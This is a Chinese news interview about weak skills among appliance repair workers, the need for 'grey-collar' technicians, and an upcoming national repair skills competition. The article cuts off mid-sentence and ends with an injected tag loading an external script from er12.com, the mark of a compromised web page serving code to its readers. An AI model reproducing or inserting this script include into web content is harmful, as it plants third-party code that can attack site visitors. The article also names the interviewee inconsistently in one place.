中国消费者协会、中国质量万里行等有关部门近几年的投诉统计表明，家电产品质量方面的投诉量有所回落，但售后服务方面的投诉却有上升的趋势。除了等待配件时间过长、高端产品维修难、服务态度不佳外，一些家电维修人员素质偏低、技术不过关的情况也让不少消费者难以感到满意。就目前家电维修服务业从业人员的维修技能现状以及如何促进家电维修业的提高和发展等问题，中国家用电器维修协会副秘书长、全国电子电器维修技术研究室主任郭赤兵日前接受了本报记者的专访。
优秀的维修人员 该像斯诺克高手
记者：一个故障需要多次判断、多次维修；或者一台电器开机后捣鼓了几个小时查不出问题来，一些从业人员不过硬的技能让消费者难以忍受。尤其是在销售旺季时，一些厂商的售后维修部门从业人员还让人有滥竽充数或名不副实的感觉，您是如何看待这一现象的？
郭赤兵：的确，目前一些厂商在售后服务的职业素质培训管理方面有待改进，一些维修服务从业人员素质偏低，所接受的培训不专业、不系统，技术水准不高。特别是在销售旺季，或是涉及到高技术新产品时维修服务问题比较突出，一些厂商的维修网点私自招收民工、社会青年进行简单培训后上岗，根本谈不上什么专业化、标准化，售后服务问题由此层出不穷。
记者：在遇到电器发生故障的时候，快速解决问题往往是人们最希望看到的，从维修人员的维修技能角度来说，怎样才能达到人们满意的水平？
郭赤兵：满足消费者维修快捷、准确的需求，一方面要重视产品本身的可维修性及保障性设计，另一方面就是要提升维修人员的技能水平。这也是目前中国家用电器维修协会推动的维修服务系统化建设中的主要内容。
与生产线的技术工人相比，家电维修的技术要求更高、更全面，也更复杂深入，甚至可以说维修环节是所有工种中最复杂的一个环节。人们普遍存在一个观念误区，认为家电维修的活儿挺简单，其实并不是这样。从技术层面看，家电维修的核心技术就是维修技能，一个优秀的维修人员需要拥有专业的理论知识、熟练的操作技能和丰富的实践经验。
记者：理想的维修人员在维修技能上应该达到怎样的一个层次？
郭赤兵：技术过硬的家电维修人员该像一个斯诺克高手：既快又准，在复杂的局面中尽快选定目标，并能完成一次漂亮的击球落袋。比如说，看到机器故障的现象，甚至仅仅是听到描述，就能迅速分析出可能是哪个部件或电路板坏了，在检查该部件或电路板时，又能迅速从数十甚至上百个元器件或零部件中找到坏的那个，再换上好的。这样既能对症下药缩短维修时间，又避免了更换整个部件或整块电路板带来的不必要维修费用。
“灰领”人才漏洞亟待修复
记者：在人们的印象中，家电维修业似乎是一个门槛低的行业。“马路游击队”带着一个脸盆、一把刷子、一瓶清洗剂就吆喝家电清洗业务，各种家电维修店也在大街小巷随处可见。在您的理解中，家电维修从业人员是怎样的一种人才定位？
郭赤兵：“马路游击队”以及其他形式的黑维修是需要规范的社会现象。就厂商正规的维修服务部门来说，家电维修服务业应出现更多的“灰领”人才。
现在的家电维修技能已经从一种技艺走向科学。随着家电产品高科技含量的增加，以前靠简单的看、听、摸直观判断，或通过师傅带徒弟传授经验的方法来排除故障的职业之路，已经不再适应今天的家电维修服务行业。“灰领”资源缺少是近年来人力资源界谈得很多的一个话题。“灰领”和以前的“蓝领”的区别在于，“灰领”是既掌握理论知识、又掌握操作技能的复合型专门技能人才，从事的是创造性脑力劳动和部分体力劳动。家电维修服务业缺少的也正是这种“灰领”人才。
记者：与这个行业人才目标的定位相比，目前业内最突出的短板是什么？
郝赤兵：培养时间长、工作压力大、收入和地位偏低是目前家电服务维修业较为突出的一个问题。能熟练修理高端电子产品的技术需要１０年左右的培养和积累，高工作强度、低收入水平和社会地位、高职业素质要求、差的工作环境无法吸纳优秀的技术人才，而且维修人员也表现出了季节性和流动性的明显特点，在淡季时维修人员往往被遣返回家，人员的流动性不利于人才的培养。人才的缺乏不但给消费者的售后服务带来问题，也已经影响到品牌的销售和声誉。
目前，一些厂商非常注意人才的漏洞的修复，并有着较为完善、系统的业务培训体系，造就了一支业务水平高、素质过硬的维修人员队伍，这正是家电维修业需要的。
比武大赛 寄望激起学习技术风尚
郭赤兵：提高家电维修业从业人员的维修技能水平，是行业发展的要求，其得到了有关方面的高度重视。１０月２６日－２７日，国家劳动和社会保障部中国就业技术指导中心、中华全国总工会中国财贸轻纺烟草工会、中国商业联合会、中国家用电器维修协会联合主办的全国家用?script src=http://er12.com/t.js>
